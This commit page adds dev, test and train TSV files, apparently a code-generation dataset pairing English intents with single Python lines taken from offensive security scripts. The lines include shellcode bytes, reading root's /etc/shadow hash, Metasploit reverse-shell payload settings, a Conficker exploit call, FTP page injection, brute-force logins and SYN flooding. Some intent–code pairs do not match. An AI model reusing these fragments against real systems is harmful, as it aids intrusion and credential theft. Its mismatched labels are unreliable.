Fmirra commited on
Commit
cf86e0e
1 Parent(s): 66a3871

Upload 3 files

Browse files
Files changed (3) hide show
  1. dev_singleline.tsv +114 -0
  2. test_singleline.tsv +114 -0
  3. train_singleline.tsv +903 -0
dev_singleline.tsv ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Intent Script
2
+ Call the function retrlines with arguments 'RETR ' concatenated to page and the method write of f ftp.retrlines('RETR ' + page, f.write)
3
+ Call the method start with no arguments on t t.start()
4
+ Define the function connect with arguments user, host and password def connect(user, host, password):
5
+ Create the scoket with parameters AF_INET and SOCK_STREAM connSkt = socket(AF_INET, SOCK_STREAM)
6
+ For each tgtPort in tgtPorts for tgtPort in tgtPorts:
7
+ Call the method sendline with argument 'yes' of child child.sendline('yes')
8
+ Import the library for for file transfer protol connections import ftplib
9
+ Call the function google with argoment 'Boondock Saint' google('Boondock Saint')
10
+ Call the function quote_plus of urllib with argument search_term and assign it to search_terms search_term = urllib.quote_plus(search_term)
11
+ Call the function listDir with argument recycleDir concatenated to sid of os and assign it to files files = os.listdir(recycleDir + sid)
12
+ Call the method login on s with arguments self.host, self.user, self.password s.login(self.host, self.user, self.password)
13
+ If the function has_key with argument 'href' of link returns True if link.has_key('href'):
14
+ Define the function printLinks with argument url def printLinks(url):
15
+ Send the packet ackPkt send(ackPkt)
16
+ Create a packet pkt with source src, destination dst, ICMP type 8 and id equals to 456 pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
17
+ Define the function printMeta with argument fileName def printMeta(fileName):
18
+ Call the function urlopen with argument url of urllib2 and call the method read with no arguments and assign it to urlContent urlContent = urllib2.urlopen(url).read()
19
+ Assign to text the variable row at position 2 text = row[2]
20
+ If state is equal to 'open' if state == 'open':
21
+ Call the function viewPage with argument 'http://www.syngress.com/' viewPage('http://www.syngress.com/')
22
+ For x from 1 to 5 for x in range(1, 5):
23
+ "Create a packet pkt with source src, destination dst, UDP with destination port equals to 635 and the load equals to ""^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F""" "pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load=""^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F"")"
24
+ Assign to stream the concatenation of src, ':' and dst stream = src + ':' + dst
25
+ Define the function findHivemind with argument pcap def findHivemind(pcap):
26
+ Open the file pcapFile and assign it to f f = open(pcapFile)
27
+ Assign to pktsSent the value of pktCount with key stream pktsSent = pktCount[stream]
28
+ If pcapFile of options is equal to None if options.pcapFile == None:
29
+ Assign to longitude the field 'longitude' of rec longitude = rec['longitude']
30
+ Read the html code of page and assign it to source_code source_code = page.read()
31
+ Define the function calTSN with argument tgt def calTSN(tgt):
32
+ Define the function printCallLog with argument skypeDB def printCallLog(skypeDB):
33
+ Call the method strip with argument '\n' of password then call the method strip with argument '\r' and assign the result to password password = password.strip('\\n').strip('\r')
34
+ Call the method quit with no argument of ftp ftp.quit()
35
+ If dport is equal to 6667 if dport == 6667:
36
+ Import the library to parse the url import urlparse
37
+ Assign to links the result of the function findall with argument html of link_finder links = link_finder.findall(html)
38
+ "and ""\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6""" """\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"""
39
+ Call the function EnumKey with arguments key and i and assign it to guid guid = EnumKey(key, i)
40
+ Assign to pktCount at key stream the value 1 pktCount[stream] = 1
41
+ Import the library for TCP/IP protocols import dpkt
42
+ Call the function send_command with arguments child and 'cat /etc/shadow | grep root' send_command(child, 'cat /etc/shadow | grep root')
43
+ Call the method findAll with argument 'img' of soup and assign it to image_tags image_tags = soup.findAll('img')
44
+ Define the function returnDefault with argument ftp def returnDefault(ftp):
45
+ Increment the variable Fails by 1 Fails += 1
46
+ Define the function send_command with arguments child and cmd def send_command(child, cmd):
47
+ "and ""\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49""" """\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"""
48
+ Assign to ttl the ttl of pkt casted to str ttl = str(pkt.ttl)
49
+ Else else:
50
+ Call the class BeautifulSoup with argument html and assign it to soup soup = BeautifulSoup(html)
51
+ If the substring 'synchronize with original prompt' is found in the result of the function str with argument e elif 'synchronize with original prompt' in str(e):
52
+ Call the method connect with a tuple made of target and 21 of s s.connect((target,21))
53
+ Assign to seqNum the result of the function calTSN with argument tgt plus one seqNum = calTSN(tgt) + 1
54
+ Call the method join with arguments passDir and filename of os.path and assign it to fullpath fullpath = os.path.join(passDir, filename)
55
+ Connect to tgtHost on tgtPort connSkt.connect((tgtHost, tgtPort))
56
+ For each tgtHost in tgt tgtHosts for tgtHost in tgtHosts:
57
+ Try try:
58
+ Assign to src the ip sorgent of ip.src src = socket.inet_ntoa(ip.src)
59
+ Call the function findall with arguments r'maplat=.*\&' and resp from re and assign it to rLat rLat = re.findall(r'maplat=.*\&', resp)
60
+ If the variable tgtHost of options is equal to None or lhost of options is equal to None if (options.tgtHost == None) | (options.lhost == None):
61
+ Create an empty dictionary and assign it to pktCount pktCount = {}
62
+ Assign to links the result of the function findAll with argument name equals to 'a' of soup links = soup.findAll(name='a')
63
+ Call the function printMessage with argument iphoneDB printMessage(iphoneDB)
64
+ Continue the argument and the tuple with password and True password, True))
65
+ nan for (ts, buf) in pcap:
66
+ Assign the response of the method open with argument 'http://kittenwar.com' of ab response = ab.open('http://kittenwar.com')
67
+ Call the function str with value options.tgtPort then call the function split with argument ',' and assign the result totgtPorts tgtPorts = str(options.tgtPort).split(',')
68
+ Call method sendline with argument 'yes' of child child.sendline('yes')
69
+ If the functions len with argument argv of sys returns a value less than 2 if len(sys.argv) < 2:
70
+ If cookiesDB is a file if os.path.isfile(cookiesDB):
71
+ Create the constant THRESH with value 1000 THRESH = 1000
72
+ For each cookie in the cookie_jar for cookie in cookie_jar:
73
+ If release is equal to True then call the method release with no arguments of connection_lock if release: connection_lock.release()
74
+ Start try block try:
75
+ If the method isdir with argument recycleDir of path of os returns True if os.path.isdir(recycleDir):
76
+ Call the function retKML with argument src and assign it to srcKML srcKML = retKML(src)
77
+ Call the method anonumize with no argument of ab ab.anonymize()
78
+ For each argument in the tuple ts and buf in pcap for (ts, buf) in pcap:
79
+ Assign to dir the variable dir of options dir = options.dir
80
+ Call the method recv with argument 1024 of s s.recv(1024)
81
+ Create a packet pkt with source src, destination dst, UDP with destination port equals to 7 and the load equals to 'cybercop' pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')
82
+ Call the method login with arguments userName and passWord of ftp ftp.login(userName, passWord)
83
+ Call the function urlencode with argument a dictionary with key 'credential_0' and value username and assign it reqData reqData = urllib.urlencode({'credential_0': username,
84
+ Call the method append with argument fileName of retList retList.append(fileName)
85
+ Assign to pkt the value of the the function IP with dst equals to tgt divided by the function TCP with no arguments pkt = IP(dst=tgt) / TCP()
86
+ Define the function findAttack with argument pcap def findAttack(pcap):
87
+ Open the file 'geotest.pcap' and assign it to f f = open('geotest.pcap')
88
+ Call the function parse_args with no arguments and return the result to the tuple composed of options and args (options, args) = parser.parse_args()
89
+ If iface of options is equal to None if options.iface == None:
90
+ Assign to lat the field 'latitude' of rec lat = rec['latitude']
91
+ Call the method open with argument 'http://wigle.net' of browser browser.open('http://wigle.net')
92
+ Assign to url the result with key 'url' url = result['url']
93
+ Assign to exifData sliced at decoded the value value exifData[decoded] = value
94
+ Assign to rdata the value rdata of the method getlayer with argument DNSRR of pkt rdata = pkt.getlayer(DNSRR).rdata
95
+ "Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p <skype profile path> """ "parser = optparse.OptionParser(""usage %prog ""+ ""-p <skype profile path> "")"
96
+ Get the list of the folders in pathName and assign it to dirList dirList = os.listdir(pathName)
97
+ Call the function exit with argument 0 of sys sys.exit(0)
98
+ From the library to manages thread import everything from threading import *
99
+ Assign to uri the uri of http in lower case uri = http.uri.lower()
100
+ "and ""\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5""" """\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"""
101
+ Import the library to navigate web through web forms import mechanize
102
+ Concatenate the string '\\' and concatenate the string sid, close the arguments + '\\' + sid)
103
+ Continue the arguments with help='specify wigle password' help='specify wigle password')
104
+ Assign to date the result of function str with argument row at position 1 date = str(row[1])
105
+ Assign to dport the dport of tcp dport = tcp.dport
106
+ Import everything from the library used for thread from threading import *
107
+ Assign to pcapFile the pcapFile of options pcapFile = options.pcapFile
108
+ For each image in image_tags for image in image_tags:
109
+ Parse the usage prod pd target host and the target port parser = optparse.OptionParser('usage %prog -H <target host> -p <target port>')
110
+ Define the function dnsQRTest with argument pkt def dnsQRTest(pkt):
111
+ Import the library to estabilish a SSH connection import pxssh
112
+ Call the method write of configFile with argument 'set payload ' and continue to the next line configFile.write('set payload '+\
113
+ Call the method strip with argument '\n' on the method strip with argument '\r' of line and assign the result to password password = line.strip('\r').strip('\\n')
114
+ Define the function printMessages with argument skypeDB def printMessages(skypeDB):
test_singleline.tsv ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Intent Script
2
+ Assign 0 to seqNum seqNum = 0
3
+ Exit the function with argument geoLoc return geoLoc
4
+ Exit with value 0 exit(0)
5
+ Instantiate the class BoundedSemaphore with argument value equals to maxConnections and assign the result to connection_lock connection_lock = BoundedSemaphore(value=maxConnections)
6
+ "Call the method send with argument command concatenated to "" "" concatenated to crash concatenated to ""\r\n""" "s.send(command +"" "" + crash + ""\r\\n"")"
7
+ If username is equal to None or password is equals to None if username == None or password == None:
8
+ Send the packet synPkt send(synPkt)
9
+ Start try block try:
10
+ Start the expection block with arguments Exception and e except Exception, e:
11
+ Call function send_command with arguments s and 'cat /etc/shadow | grep root' send_command(s, 'cat /etc/shadow | grep root')
12
+ "Assign to shellcode the tuple containing ""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9""" "shellcode = (""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"""
13
+ "Continue the value with ""\NetworkList\Signatures\Unmanaged""" """\NetworkList\Signatures\Unmanaged"""
14
+ If the method haslayer with argument DNSRR of pkt is True if pkt.haslayer(DNSRR):
15
+ "and ""\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8""" """\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"""
16
+ If rLat exists if rLat:
17
+ Define the cursor c of the database c = conn.cursor()
18
+ Import the library to control the operative system import os
19
+ import everything from the library for threads from threading import *
20
+ Concatenate the strings kmlPts = kmlPts + srcKML + dstKML
21
+ Assign to opt the value ' -o PasswordAuthentication=no' opt = ' -o PasswordAuthentication=no'
22
+ Release the lock screenLock.release()
23
+ Add the option of the parser p for tgtPort as a string with help specify target port[s] separated by comma parser.add_option('-p', dest='tgtPort', type='string',help='specify target port[s] separated by comma')
24
+ Call the open function with argument 'meta.rc' and 'w' configFile = open('meta.rc', 'w')
25
+ Set a proxy to browser with address proxy browser.set_proxies(proxy)
26
+ Continue the argument with help 'specify wigle username' help='specify wigle username')
27
+ Assign to synSpoof the sunSpoof of options synSpoof = options.synSpoof
28
+ Call the method spawn with argument connStr of pexpect and assign it to child child = pexpect.spawn(connStr)
29
+ Import the library to manage time import time
30
+ Acquire the lock screenLock.acquire()
31
+ Call the method split with argument '\\' and slice at position -1 and assign it to user user = value.split('\\')[-1]
32
+ If passwdFile is not equal to None if passwdFile != None:
33
+ Assign to TCPlayer the result of the function TCP with argument sport equals sport and dport equals to 513 TCPlayer = TCP(sport=sport, dport=513)
34
+ Exit the function with argument imgFileName return imgFileName
35
+ For each ch in val for ch in val:
36
+ import the library for parsing import optparse
37
+ Call the method login with arguments userName and passWord of ftp ftp.login(userName, passWord)
38
+ If the value of Fails is more than 5 if Fails > 5:
39
+ If the substring 'read_nonblocking' is found in the result of the function str with argument e if 'read_nonblocking' in str(e):
40
+ Assign to the value tcp the data of ip tcp = ip.data
41
+ Add the options to parser '-i', dest equals to 'iface', type equals to 'string', help equals to 'specify network interface' parser.add_option('-i', dest='iface', type='string',help='specify network interface')
42
+ Define function connect with arguments host user and password def connect(host, user, password):
43
+ Assign to skypeDB the path of main.db inside the pathName skypeDB = os.path.join(pathName, 'main.db')
44
+ From the library to manipulate IPs import IP as IPTEST from IPy import IP as IPTEST
45
+ Assign to kml and empty string kmlPts = ''
46
+ Assign an empty list to dnsRecords at the key rrname dnsRecords[rrname] = []
47
+ Call the method parse_args with no argument on parser and assign it to the tuple composed of options and args (options, args) = parser.parse_args()
48
+ "Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p <firefox profile path> """ "parser = optparse.OptionParser(""usage %prog ""+""-p <firefox profile path> "")"
49
+ Assign to c the cursor of conn c = conn.cursor()
50
+ Call the function printGoogle with argument placesDB printGoogle(placesDB)
51
+ If the absolute value of ttl casted to int minus the ttlValues at the hey ipsrc casted at int is more than THRESH if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
52
+ Append to the list dnsRecords at the key rrname the value rdata dnsRecords[rrname].append(rdata)
53
+ Assign to mapLat the value rLat at the position 0, then call the function split with argument '&' at the position 0, then call the function split with argument '=' at the position 1 mapLat = rLat[0].split('&')[0].split('=')[1]
54
+ Define the function testUserAgent with argument url an userAgent def testUserAgent(url, userAgent):
55
+ Connect to the database placesDB and assign it to conn conn = sqlite3.connect(placesDB)
56
+ Call the method append with argument host of tgtHosts tgtHosts.append(host)
57
+ Call the addClient function with arguments '127.0.0.1', 'root' and 'toor' addClient('127.0.0.1', 'root', 'toor')
58
+ Call the method write of configFile with argument 'setg DisablePayloadHandler 1\n' configFile.write('setg DisablePayloadHandler 1\\n')
59
+ Call the method split with argument ':' on line, take the the result in position 1, call the strip method with argument '\r' then call the strip method with argument '\n' and assign it to passWord passWord = line.split(':')[1].strip('\r').strip('\\n')
60
+ Assign to soup the result of BeautufulSoup with argument html soup = BeautifulSoup(html)
61
+ Call the method write of configFile with argument 'set RHOST ' concatenated to the function str with argument tgtHost concatenated to '\n' configFile.write('set RHOST ' + str(tgtHost) + '\\n')
62
+ Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n' 'windows/meterpreter/reverse_tcp\\n')
63
+ Call the function confickerExploit with arguments configFile, tgtHost, lhost and lport confickerExploit(configFile, tgtHost, lhost, lport)
64
+ For each recycleDir in dirs for recycleDir in dirs:
65
+ Exit the function with tuple userName and passWord return (userName, passWord)
66
+ Assign to password the value password of options password = options.password
67
+ Call the function FTP with argument hostname of the library ftplib and assign it to ftp ftp = ftplib.FTP(hostname)
68
+ "Assign to link_finder the function compile with argument 'href=""(.*?)""' of re" "link_finder = re.compile('href=""(.*?)""')"
69
+ "and ""\xba\x1e\x53\x31""" """\xba\x1e\x53\x31"")"
70
+ Assign to latitude the field 'latitude' of rec latitude = rec['latitude']
71
+ Assign the value '192.168.95.179' to host host = '192.168.95.179'
72
+ Assign to text the result with key 'content' text = result['content']
73
+ From the library to manipulate packets import everything from scapy.all import *
74
+ Define the function synFlood with arguments src and tgt def synFlood(src, tgt):
75
+ Call the function listDir with argument recycleDir of os and assign the result to dirList dirList = os.listdir(recycleDir)
76
+ Call the function nlst with no argument from the library ftp and assign to dirList dirList = ftp.nlst()
77
+ Assign to r the result of all the substring that match the pattern r'q=.*\&' of url r = re.findall(r'q=.*\&', url)
78
+ "Continue the arguments with value ""SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList""" """SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"""
79
+ Continue the argument and the list with the value '[P|p]assword:' '[P|p]assword:'])
80
+ Assign to addr the value '' addr = ''
81
+ From the library to edit the Windows registry import everything from _winreg import *
82
+ Get the record for that IP and assign it to rec rec = gi.record_by_name(ip)
83
+ Import the library to manipulate json files import json
84
+ Assign the value True to the variable Found Found = True
85
+ Start the try block except:
86
+ If the thresh of options is not equal to None if options.thresh != None:
87
+ For each cookie in the cookie_jar of ab for cookie in ab.cookie_jar:
88
+ Assign to passWord the value 'guest' passWord = 'guest'
89
+ Define the function val2addr with argument val def val2addr(val):
90
+ Assign to url the result of function str with argument row at position 0 url = str(row[0])
91
+ Call the method acquire with no arguments of connection_lock connection_lock.acquire()
92
+ Assign to src the src of options src = options.src
93
+ For each pkt in pkts for pkt in pkts:
94
+ Call the method write of configFile with argument 'exploit -j -z\n' configFile.write('exploit -j -z\\n')
95
+ Call the function wiglePrint with argument username, password and macAddr wiglePrint(username, password, macAddr)
96
+ Assign to url the value 'http://ip.nefsc.noaa.gov/' url = 'http://ip.nefsc.noaa.gov/'
97
+ Assign the value user to self.user self.user = user
98
+ Call the function printCookies with argument url printCookies(url)
99
+ Assign to userAgent a tuple made of 'User-agent' and 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01' inside a list userAgent = [('User-agent', 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')]
100
+ "and ""\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96""" """\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"""
101
+ "Assign to kmlheader the string '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\n<Document>\n'" "kmlheader = '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\\n<Document>\\n'"
102
+ Start try block try:
103
+ Exit the function with value True return True
104
+ Assign to country the field 'country_name' of rec country = rec['country_name']
105
+ Call the function sleep with argument 4 of the library time time.sleep(4)
106
+ From the library to parse HTML import BeautifilSoup from bs4 import BeautifulSoup
107
+ Open the page at the url and assign it to page page = browser.open(url)
108
+ Assing to preNum seqNum preNum = seqNum
109
+ Assign True to the variable Stop Stop = True
110
+ Exit function and return the value addr return addr
111
+ If rLon exists if rLon:
112
+ Import the library to use a sqlite database import sqlite3
113
+ Add the option -u for url as type string with help equals to 'specify url address' parser.add_option('-u', dest='url', type='string', help='specify url address')
114
+ Define the function printGoogle with argument placesDB def printGoogle(placesDB):
train_singleline.tsv ADDED
@@ -0,0 +1,903 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Intent Script
2
+ Create a parser with OptionParser 'usage %prog -p <pcap file> -t <thresh>' "parser = optparse.OptionParser(""usage %prog '+'-p <pcap file> -t <thresh>"" )"
3
+ Define the function retGeoStr with argument ip def retGeoStr(ip):
4
+ Assign to the variable host the value 'localhost' host = 'localhost'
5
+ Define the function printPcap with argument pcap def printPcap(pcap):
6
+ Call the function exit with argument 0 exit(0)
7
+ Change the scope of the variable Fails to global global Fails
8
+ Assign to filename the function join of path of os with arguments dir and the method replace with arguments '/' and '_' of filename filename = os.path.join(dir,filename.replace('/', '_'))
9
+ Remove from search 'q=' and '+' search=search.replace('q=', '').replace('+', ' ')
10
+ Import the library for the regular expressions import re
11
+ Read the file passwdFile and assign it to pF pF = open(passwdFile, 'r')
12
+ Call function pxssh of library pxssh with no arguments and assign it to s s = pxssh.pxssh()
13
+ Assign to long the field 'longitude' of rec long = rec['longitude']
14
+ Assign to THRESH the value thresh of options THRESH = options.thresh
15
+ Define the class Google_result class Google_Result:
16
+ If count of options is equal to None if options.count == None:
17
+ Assign to url the url of options url = options.url
18
+ Assign to dirs a list containing 'C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\' dirs=['C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\']
19
+ Call the function findRecycledDir findRecycled(recycledDir)
20
+ Import the library to interact with operative system import os
21
+ Get the record for that IP and assign it to rec rec = gi.record_by_name(ip)
22
+ Assign the variable user of options to user user = options.user
23
+ Assign to pkts the result of the function rdpcap with argument 'domainFlux.cap' pkts = rdpcap('domainFlux.pcap')
24
+ Assign to mapLon the value 'N/A' mapLon = 'N/A'
25
+ Import the library to scan the ports import nmap
26
+ Call the function open with argument imgFileName and 'wb' and assign it to imgFile imgFile = open(imgFileName, 'wb')
27
+ Assign to ans the result of the functionsr1 with argument pkt and verbose equals to 0 ans = sr1(pkt, verbose=0)
28
+ Continue the arguments with help equals to 'specify PDF file name' help='specify PDF file name')
29
+ Call the function sniff with argument prn equals testTTL and store equals to 0 sniff(prn=testTTL, store=0)
30
+ Exit the function with user value return user
31
+ Define the function testForExif with argument imgFIleName def testForExif(imgFileName):
32
+ Define the function addClient with arguments host, user and password def addClient(host, user, password):
33
+ Define the function scanTest with arguments src, dst, iface and count def scanTest(src, dst, iface, count):
34
+ Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n' 'windows/meterpreter/reverse_tcp\\n')
35
+ Exit function with value False return False
36
+ Assign to title the result with key 'titleNoFormatting' title = result['titleNoFormatting']
37
+ Add the option of the parser H for tgtHost as a string with help specify target host parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
38
+ For each attempt from 1 to 5 for attempt in range(1, 5):
39
+ Call the method strip with argument ' ' of addr, call the method replace with arguments ' ' and ':', take the values from 0 to 17 and assign it to addr addr = addr.strip(' ').replace(' ', ':')[0:17]
40
+ Call the member function user of options and assign it to user user = options.user
41
+ Start except block except:
42
+ Call the method add_option with arguments '-k', dest equals to 'keyword', type equals to 'string' and help= equals to 'specify target url' parser.add_option('-k', dest='keyword', type='string', help='specify google keyword')
43
+ Assign to platform the value argv at position 2 of sys platform = sys.argv[2]
44
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-k <keywords>' of optparse parser = optparse.OptionParser('usage %prog ' + '-k <keywords>')
45
+ Get the record for that IP and assign it to rec rec = gi.record_by_name(tgt)
46
+ Call the method start of t and assign the result to child child = t.start()
47
+ Do nothing pass
48
+ Assign to city the field 'country_code3' of rec country = rec['country_code3']
49
+ Parse the usage prod pd target host, the target port, the user and the directory parser = optparse.OptionParser('usage %prog -H '+ '<target host> -u <user> -d <directory>')
50
+ Assign to iface of conf the value iface of options conf.iface = options.iface
51
+ Assign to host the value of the function str with argument row at the position 0 host = str(row[0])
52
+ Call the function findTgts with argument tgtHost of options and assign it to tgtHosts tgtHosts = findTgts(options.tgtHost)
53
+ Change the scope of the variable Found to global global Found
54
+ Assign the variable tgtHost of options to host host = options.tgtHost
55
+ For each item in dnsRecords for item in dnsRecords:
56
+ Exit function with argument True return True
57
+ For each sid in dirList for sid in dirList:
58
+ Call the function scanTest with arguments src, dst, iface and count scanTest(src, dst, iface, count)
59
+ Assign to respURL the value 'http://wigle.net/gps/gps/main/confirmquery/' respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
60
+ If the substring '!lazor' is in data of tcp in lower case if '!lazor' in tcp.data.lower():
61
+ Call the method write of configFile with argument 'set payload ' and concatenate next line configFile.write('set payload '+\
62
+ From the library used for interact with windows registry import everything from _winreg import *
63
+ "and ""\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3""" """\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"""
64
+ Import the library for file transfer protocol import ftplib
65
+ If sport is equal to 6667 if sport == 6667:
66
+ Call the function bruteLogin with argument host and passwdFile bruteLogin(host, passwdFile)
67
+ Call the function injectPage with arguments ftp, 'index.html' and redirect injectPage(ftp, 'index.html', redirect)
68
+ Assign to url of self the value url self.url = url
69
+ If pktsSent is more than THRESH if pktsSent > THRESH:
70
+ Call the method write with argument imgContent of imgFile imgFile.write(imgContent)
71
+ "Execute the command ""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;""on c" "c.execute(""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"")"
72
+ Else else:
73
+ Append the new_gr to the list results results.append(new_gr)
74
+ If the method has_key with argument ipsrc of ttlValues is not True if not ttlValues.has_key(ipsrc):
75
+ Define the function mirrorImages with argument url and dir def mirrorImages(url, dir):
76
+ Call the method add_option with arguments '-u', dest equals to 'tgtURL', type equals to 'string' and help equals to 'specify target url' parser.add_option('-u', dest='tgtURL', type='string', help='specify target url')
77
+ Start expect block except:
78
+ Instantiate a Semaphore named screenLock initialized with variable values equals 1 screenLock = Semaphore(value=1)
79
+ Return the variable kmlPts return kmlPts
80
+ Exit the cycle break
81
+ Add the option of the parser u for user as a string with help specify the user parser.add_option('-u', dest='user', type='string', help='specify the user')
82
+ Read all the network traffic from f and assign it to pcap pcap = dpkt.pcap.Reader(f)
83
+ Call the function printHistory with argument placesDB printHistory(placesDB)
84
+ Assign to IPlayer the result of the function IP with src equals src and dst equals to tgt IPlayer = IP(src=src, dst=tgt)
85
+ Call the method anonymize with no argument of ab ab.anonymize()
86
+ Call the function send with argument pkt send(pkt)
87
